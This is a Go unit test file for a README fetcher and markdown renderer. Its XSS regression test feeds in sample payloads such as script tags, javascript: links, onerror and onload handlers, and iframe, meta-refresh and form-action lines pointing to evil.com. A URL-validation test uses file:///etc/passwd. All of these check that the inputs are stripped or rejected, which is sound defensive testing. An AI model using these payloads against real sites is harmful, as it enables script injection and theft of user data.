Files
at-container-registry/pkg/appview/readme/fetcher_test.go
T

683 lines
18 KiB
Go

package readme
import (
"context"
"net/http"
"net/http/httptest"
"net/url"
"strings"
"testing"
)
func TestGetBaseURL(t *testing.T) {
tests := []struct {
name string
inputURL string
expected string
}{
{
name: "nil URL",
inputURL: "",
expected: "",
},
{
name: "GitHub raw URL",
inputURL: "https://raw.githubusercontent.com/user/repo/main/README.md",
expected: "https://github.com/user/repo/blob/main/",
},
{
name: "GitHub raw URL with subdirectory",
inputURL: "https://raw.githubusercontent.com/user/repo/main/docs/README.md",
expected: "https://github.com/user/repo/blob/main/",
},
{
name: "GitHub raw URL with branch",
inputURL: "https://raw.githubusercontent.com/user/repo/develop/README.md",
expected: "https://github.com/user/repo/blob/develop/",
},
{
name: "regular URL",
inputURL: "https://example.com/docs/README.md",
expected: "https://example.com/docs/",
},
{
name: "URL with multiple path segments",
inputURL: "https://example.com/path/to/docs/README.md",
expected: "https://example.com/path/to/docs/",
},
{
name: "URL with root file",
inputURL: "https://example.com/README.md",
expected: "https://example.com/",
},
{
name: "URL without file",
inputURL: "https://example.com/docs/",
expected: "https://example.com/docs/",
},
}
for _, tt := range tests {
t.Run(tt.name, func(t *testing.T) {
var u *url.URL
if tt.inputURL != "" {
var err error
u, err = url.Parse(tt.inputURL)
if err != nil {
t.Fatalf("Failed to parse URL %q: %v", tt.inputURL, err)
}
}
result := getBaseURL(u)
if result != tt.expected {
t.Errorf("getBaseURL(%q) = %q, want %q", tt.inputURL, result, tt.expected)
}
})
}
}
func TestRewriteRelativeURLs(t *testing.T) {
tests := []struct {
name string
html string
baseURL string
expected string
}{
{
name: "empty baseURL",
html: `<img src="./image.png">`,
baseURL: "",
expected: `<img src="./image.png">`,
},
{
name: "invalid baseURL",
html: `<img src="./image.png">`,
baseURL: "://invalid",
expected: `<img src="./image.png">`,
},
{
name: "current directory relative src",
html: `<img src="./image.png">`,
baseURL: "https://example.com/docs/",
expected: `<img src="https://example.com/docs/image.png">`,
},
{
name: "current directory relative href",
html: `<a href="./page.html">link</a>`,
baseURL: "https://example.com/docs/",
expected: `<a href="https://example.com/docs/page.html">link</a>`,
},
{
name: "parent directory relative src",
html: `<img src="../image.png">`,
baseURL: "https://example.com/docs/",
expected: `<img src="https://example.com/docs/../image.png">`,
},
{
name: "parent directory relative href",
html: `<a href="../page.html">link</a>`,
baseURL: "https://example.com/docs/",
expected: `<a href="https://example.com/docs/../page.html">link</a>`,
},
{
name: "root-relative src",
html: `<img src="/images/logo.png">`,
baseURL: "https://example.com/docs/",
expected: `<img src="https://example.com/images/logo.png">`,
},
{
name: "root-relative href",
html: `<a href="/about">link</a>`,
baseURL: "https://example.com/docs/",
expected: `<a href="https://example.com/about">link</a>`,
},
{
name: "mixed relative URLs",
html: `<img src="./img.png"><a href="../page.html">link</a>`,
baseURL: "https://example.com/docs/",
expected: `<img src="https://example.com/docs/img.png"><a href="https://example.com/docs/../page.html">link</a>`,
},
{
name: "absolute URLs unchanged",
html: `<img src="https://cdn.example.com/image.png">`,
baseURL: "https://example.com/docs/",
expected: `<img src="https://cdn.example.com/image.png">`,
},
{
name: "protocol-relative URLs (incorrectly converted)",
html: `<img src="//cdn.example.com/image.png">`,
baseURL: "https://example.com/docs/",
expected: `<img src="https://example.com//cdn.example.com/image.png">`,
},
{
name: "bare relative src (no ./ prefix)",
html: `<img src="image.png">`,
baseURL: "https://example.com/docs/",
expected: `<img src="https://example.com/docs/image.png">`,
},
{
name: "bare relative href (no ./ prefix)",
html: `<a href="page.html">link</a>`,
baseURL: "https://example.com/docs/",
expected: `<a href="https://example.com/docs/page.html">link</a>`,
},
{
name: "bare relative with path",
html: `<img src="images/logo.png">`,
baseURL: "https://example.com/docs/",
expected: `<img src="https://example.com/docs/images/logo.png">`,
},
{
name: "anchor links unchanged",
html: `<a href="#section">link</a>`,
baseURL: "https://example.com/docs/",
expected: `<a href="#section">link</a>`,
},
{
name: "data URLs unchanged",
html: `<img src="data:image/png;base64,abc123">`,
baseURL: "https://example.com/docs/",
expected: `<img src="data:image/png;base64,abc123">`,
},
{
name: "mailto links unchanged",
html: `<a href="mailto:test@example.com">email</a>`,
baseURL: "https://example.com/docs/",
expected: `<a href="mailto:test@example.com">email</a>`,
},
{
name: "mixed bare and prefixed relative URLs",
html: `<img src="slices_and_lucy.png"><a href="./other.md">link</a>`,
baseURL: "https://github.com/user/repo/blob/main/",
expected: `<img src="https://github.com/user/repo/blob/main/slices_and_lucy.png"><a href="https://github.com/user/repo/blob/main/other.md">link</a>`,
},
}
for _, tt := range tests {
t.Run(tt.name, func(t *testing.T) {
result := rewriteRelativeURLs(tt.html, tt.baseURL)
if result != tt.expected {
t.Errorf("rewriteRelativeURLs() = %q, want %q", result, tt.expected)
}
})
}
}
func TestFetcher_RenderMarkdown(t *testing.T) {
fetcher := NewFetcher()
tests := []struct {
name string
content string
wantContain string
wantErr bool
}{
{
name: "simple paragraph",
content: "Hello, world!",
wantContain: "<p>Hello, world!</p>",
wantErr: false,
},
{
name: "heading",
content: "# My App",
wantContain: "<h1",
wantErr: false,
},
{
name: "bold text",
content: "This is **bold** text.",
wantContain: "<strong>bold</strong>",
wantErr: false,
},
{
name: "italic text",
content: "This is *italic* text.",
wantContain: "<em>italic</em>",
wantErr: false,
},
{
name: "code block",
content: "```\ncode here\n```",
wantContain: "<pre>",
wantErr: false,
},
{
name: "link",
content: "[Link text](https://example.com)",
wantContain: `href="https://example.com"`,
wantErr: false,
},
{
name: "image",
content: "![Alt text](https://example.com/image.png)",
wantContain: `src="https://example.com/image.png"`,
wantErr: false,
},
{
name: "unordered list",
content: "- Item 1\n- Item 2",
wantContain: "<ul>",
wantErr: false,
},
{
name: "ordered list",
content: "1. Item 1\n2. Item 2",
wantContain: "<ol>",
wantErr: false,
},
{
name: "empty content",
content: "",
wantContain: "",
wantErr: false,
},
{
name: "complex markdown",
content: "# Title\n\nA paragraph with **bold** and *italic* text.\n\n- List item 1\n- List item 2\n\n```go\nfunc main() {}\n```",
wantContain: "<h1",
wantErr: false,
},
}
for _, tt := range tests {
t.Run(tt.name, func(t *testing.T) {
html, err := fetcher.RenderMarkdown([]byte(tt.content))
if (err != nil) != tt.wantErr {
t.Errorf("RenderMarkdown() error = %v, wantErr %v", err, tt.wantErr)
return
}
if !tt.wantErr && tt.wantContain != "" {
if !containsSubstring(html, tt.wantContain) {
t.Errorf("RenderMarkdown() = %q, want to contain %q", html, tt.wantContain)
}
}
})
}
}
// TestRenderMarkdown_XSSRegression verifies that XSS payloads cannot survive
// the goldmark→bluemonday pipeline. Goldmark (without WithUnsafe) replaces raw
// HTML with "<!-- raw HTML omitted -->"; bluemonday then strips that comment and
// any event-handler attributes or dangerous protocols.
func TestRenderMarkdown_XSSRegression(t *testing.T) {
fetcher := NewFetcher()
tests := []struct {
name string
input string
wantAbsent []string // must NOT appear in output
wantPresent []string // MUST appear in output (safe rendered form)
}{
{
name: "inline script tag",
input: "<script>alert('xss')</script>",
wantAbsent: []string{"<script>", "alert(", "</script>"},
},
{
name: "script tag in fenced code block is escaped, not executed",
input: "```\n<script>alert('xss')</script>\n```",
// goldmark HTML-escapes content inside code blocks
wantAbsent: []string{"<script>alert("},
wantPresent: []string{"&lt;script&gt;"},
},
{
name: "javascript: protocol in markdown link",
input: "[click me](javascript:alert('xss'))",
wantAbsent: []string{"javascript:"},
},
{
name: "javascript: protocol in inline HTML anchor",
input: `<a href="javascript:alert('xss')">click</a>`,
wantAbsent: []string{"javascript:"},
},
{
name: "img onerror via inline HTML",
input: `<img src="x" onerror="alert('xss')">`,
wantAbsent: []string{"onerror", "alert("},
},
{
name: "img with injected attribute via markdown image syntax",
input: `![alt](x" onerror="alert('xss'))`,
// Malformed URL — goldmark rejects the image and renders it as literal escaped text.
// The actual XSS vector (an <img> with an onerror attribute) cannot form.
wantAbsent: []string{"<img"},
},
{
name: "svg onload",
input: `<svg onload="alert('xss')"><circle r="10"/></svg>`,
wantAbsent: []string{"onload", "alert("},
},
{
name: "iframe element",
input: `<iframe src="https://evil.com"></iframe>`,
wantAbsent: []string{"<iframe"},
},
{
name: "style tag",
input: `<style>body { background: red; }</style>`,
wantAbsent: []string{"<style>"},
},
{
name: "meta refresh redirect",
input: `<meta http-equiv="refresh" content="0;url=https://evil.com">`,
wantAbsent: []string{"<meta"},
},
{
name: "data URI in img src",
input: `<img src="data:text/html,<script>alert(1)</script>">`,
wantAbsent: []string{"data:text/html", "alert("},
},
{
name: "form action exfiltration",
input: `<form action="https://evil.com"><button>Submit</button></form>`,
wantAbsent: []string{"<form", "action="},
},
{
name: "onclick on arbitrary element",
input: `<p onclick="alert('xss')">click me</p>`,
wantAbsent: []string{"onclick", "alert("},
},
}
for _, tt := range tests {
t.Run(tt.name, func(t *testing.T) {
result, err := fetcher.RenderMarkdown([]byte(tt.input))
if err != nil {
t.Fatalf("RenderMarkdown() unexpected error: %v", err)
}
for _, bad := range tt.wantAbsent {
if strings.Contains(result, bad) {
t.Errorf("output contains dangerous string %q\nfull output: %s", bad, result)
}
}
for _, good := range tt.wantPresent {
if !strings.Contains(result, good) {
t.Errorf("output missing expected string %q\nfull output: %s", good, result)
}
}
})
}
}
func containsSubstring(s, substr string) bool {
return len(substr) == 0 || (len(s) >= len(substr) && (s == substr || len(s) > 0 && containsSubstringHelper(s, substr)))
}
func containsSubstringHelper(s, substr string) bool {
for i := range len(s) - len(substr) + 1 {
if s[i:i+len(substr)] == substr {
return true
}
}
return false
}
func TestLooksLikeHTML(t *testing.T) {
tests := []struct {
name string
content string
expected bool
}{
{
name: "empty content",
content: "",
expected: false,
},
{
name: "markdown content",
content: "# Hello World\n\nThis is a README.",
expected: false,
},
{
name: "plain text",
content: "Just some plain text without any HTML.",
expected: false,
},
{
name: "doctype html",
content: "<!DOCTYPE html>\n<html><body>Page</body></html>",
expected: true,
},
{
name: "doctype html lowercase",
content: "<!doctype html>\n<html><body>Page</body></html>",
expected: true,
},
{
name: "html tag only",
content: "<html><head></head><body>Page</body></html>",
expected: true,
},
{
name: "html tag with whitespace",
content: " \n <html>\n<body>Page</body></html>",
expected: true,
},
{
name: "xml declaration",
content: "<?xml version=\"1.0\" encoding=\"UTF-8\"?>\n<html>...</html>",
expected: true,
},
{
name: "soft 404 page",
content: "<!DOCTYPE html><html><head><title>Page Not Found</title></head><body><h1>404</h1></body></html>",
expected: true,
},
{
name: "markdown with inline html",
content: "# Title\n\nSome text with <strong>bold</strong> inline.",
expected: false,
},
{
name: "markdown starting with hash",
content: "## Section\n\nContent here.",
expected: false,
},
}
for _, tt := range tests {
t.Run(tt.name, func(t *testing.T) {
result := LooksLikeHTML([]byte(tt.content))
if result != tt.expected {
t.Errorf("looksLikeHTML(%q) = %v, want %v", tt.content, result, tt.expected)
}
})
}
}
func TestFetcher_FetchRaw(t *testing.T) {
fetcher := NewFetcher()
tests := []struct {
name string
handler http.HandlerFunc
wantErr bool
errContains string
wantContent string
}{
{
name: "successful markdown fetch",
handler: func(w http.ResponseWriter, r *http.Request) {
w.Header().Set("Content-Type", "text/plain")
w.Write([]byte("# Hello World\n\nThis is markdown."))
},
wantErr: false,
wantContent: "# Hello World",
},
{
name: "rejects HTML content type",
handler: func(w http.ResponseWriter, r *http.Request) {
w.Header().Set("Content-Type", "text/html; charset=utf-8")
w.Write([]byte("<html><body>Error</body></html>"))
},
wantErr: true,
errContains: "unsupported content type",
},
{
name: "rejects soft 404 HTML content",
handler: func(w http.ResponseWriter, r *http.Request) {
w.Header().Set("Content-Type", "text/plain")
w.Write([]byte("<!DOCTYPE html><html><body>404 Not Found</body></html>"))
},
wantErr: true,
errContains: "detected HTML content",
},
{
name: "rejects 404 status",
handler: func(w http.ResponseWriter, r *http.Request) {
w.WriteHeader(http.StatusNotFound)
w.Write([]byte("Not Found"))
},
wantErr: true,
errContains: "unexpected status code: 404",
},
{
name: "rejects 500 status",
handler: func(w http.ResponseWriter, r *http.Request) {
w.WriteHeader(http.StatusInternalServerError)
w.Write([]byte("Internal Server Error"))
},
wantErr: true,
errContains: "unexpected status code: 500",
},
}
for _, tt := range tests {
t.Run(tt.name, func(t *testing.T) {
server := httptest.NewServer(tt.handler)
defer server.Close()
content, err := fetcher.FetchRaw(context.Background(), server.URL)
if tt.wantErr {
if err == nil {
t.Errorf("FetchRaw() expected error containing %q, got nil", tt.errContains)
return
}
if !strings.Contains(err.Error(), tt.errContains) {
t.Errorf("FetchRaw() error = %q, want error containing %q", err.Error(), tt.errContains)
}
return
}
if err != nil {
t.Errorf("FetchRaw() unexpected error: %v", err)
return
}
if !strings.Contains(string(content), tt.wantContent) {
t.Errorf("FetchRaw() content = %q, want content containing %q", string(content), tt.wantContent)
}
})
}
}
func TestFetcher_FetchRaw_URLValidation(t *testing.T) {
fetcher := NewFetcher()
tests := []struct {
name string
url string
errContains string
}{
{
name: "empty URL",
url: "",
errContains: "empty README URL",
},
{
name: "invalid URL scheme",
url: "ftp://example.com/README.md",
errContains: "invalid URL scheme",
},
{
name: "file URL scheme",
url: "file:///etc/passwd",
errContains: "invalid URL scheme",
},
}
for _, tt := range tests {
t.Run(tt.name, func(t *testing.T) {
_, err := fetcher.FetchRaw(context.Background(), tt.url)
if err == nil {
t.Errorf("FetchRaw(%q) expected error, got nil", tt.url)
return
}
if !strings.Contains(err.Error(), tt.errContains) {
t.Errorf("FetchRaw(%q) error = %q, want error containing %q", tt.url, err.Error(), tt.errContains)
}
})
}
}
func TestFetcher_FetchAndRender(t *testing.T) {
fetcher := NewFetcher()
tests := []struct {
name string
handler http.HandlerFunc
wantErr bool
errContains string
wantContain string
}{
{
name: "renders markdown to HTML",
handler: func(w http.ResponseWriter, r *http.Request) {
w.Header().Set("Content-Type", "text/plain")
w.Write([]byte("# Hello World\n\nThis is **bold** text."))
},
wantErr: false,
wantContain: "<strong>bold</strong>",
},
{
name: "rejects HTML content type",
handler: func(w http.ResponseWriter, r *http.Request) {
w.Header().Set("Content-Type", "text/html")
w.Write([]byte("<html><body>Error</body></html>"))
},
wantErr: true,
errContains: "unsupported content type",
},
{
name: "rejects soft 404",
handler: func(w http.ResponseWriter, r *http.Request) {
w.Header().Set("Content-Type", "text/plain")
w.Write([]byte("<!doctype html><html><body>Not Found</body></html>"))
},
wantErr: true,
errContains: "detected HTML content",
},
}
for _, tt := range tests {
t.Run(tt.name, func(t *testing.T) {
server := httptest.NewServer(tt.handler)
defer server.Close()
html, err := fetcher.FetchAndRender(context.Background(), server.URL)
if tt.wantErr {
if err == nil {
t.Errorf("FetchAndRender() expected error containing %q, got nil", tt.errContains)
return
}
if !strings.Contains(err.Error(), tt.errContains) {
t.Errorf("FetchAndRender() error = %q, want error containing %q", err.Error(), tt.errContains)
}
return
}
if err != nil {
t.Errorf("FetchAndRender() unexpected error: %v", err)
return
}
if !strings.Contains(html, tt.wantContain) {
t.Errorf("FetchAndRender() = %q, want HTML containing %q", html, tt.wantContain)
}
})
}
}